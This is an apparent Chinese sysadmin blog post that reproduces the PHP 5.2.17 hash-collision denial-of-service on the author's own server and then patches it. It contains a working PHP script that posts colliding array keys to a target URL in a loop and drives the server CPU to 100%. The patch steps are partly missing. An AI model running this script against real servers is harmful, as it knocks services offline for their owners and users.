在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
我们先看下环境,这个网站是LAMP架构,PHP版本是5.2.17。 PHP未打补丁前,服务器CPU情况,目前是2.1%的使用率。 我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。 复制代码 代码如下:<?php echo $showtime=date("Y-m-d H:i:s"); ?> 执行后的效果是取当前服务器的时间。 找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/local/apache/htdocs目录,写一PHP网页,程序语言如下: 复制代码 代码如下:<?php $size = pow(2, 16); $data = ''; for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) { $data .= $key.'=&'; } $url = 'http://www.liuxxxxx.com/checktime.php'; $rs = array(); $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER,0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); for ($i=0; $i<100; ++$i) { curl_exec($ch); } curl_close($ch); ?> url地址,为你要作测试的目标机,i<100,表示最多100个并发。手工执行hash.php,进行hash碰撞。 [root@blog htdocs]# /usr/local/php/bin/php hash.php 在web服务器端,我们去看服务器的资源利用情况,CPU是97.6%,看样子单台虚拟机,拿100并发去Hash,就足够把web服务器的CPU利用率升至100%。
刷新checktime.php页面,可以很快显示,网站正常。但此时web服务器cpu已是100% 结论,我是用个人博客作目标机,因为个人博客,目前只有几个人访问,没有压力,所以即使,通过10000并发的Hash,CPU上到100%,个人博客打开的速度,还是相当快。 打上补丁,我们再观察一下。 2、到网上去下载一个PHP补丁,下载地址为:
4、进php的原始安装目录,我这里环境是/opt/soft/php-5.2.17。先把原来已编译好的一些,清理一下。
再config 6、重启一下apache,看效果 访问一下,web服务器的phpinfo.php,查看PHP环境有没有变化。大家可以在最上面看到,PHP版本后带了个P1。这个还不够,我们再用Hash碰撞一下,看cpu会不会上100%。
问题解决! 本文出自 “系统网络运维” 博客 |
2022-08-15
2022-08-17
2022-09-23
2023-10-27
2022-08-18
请发表评论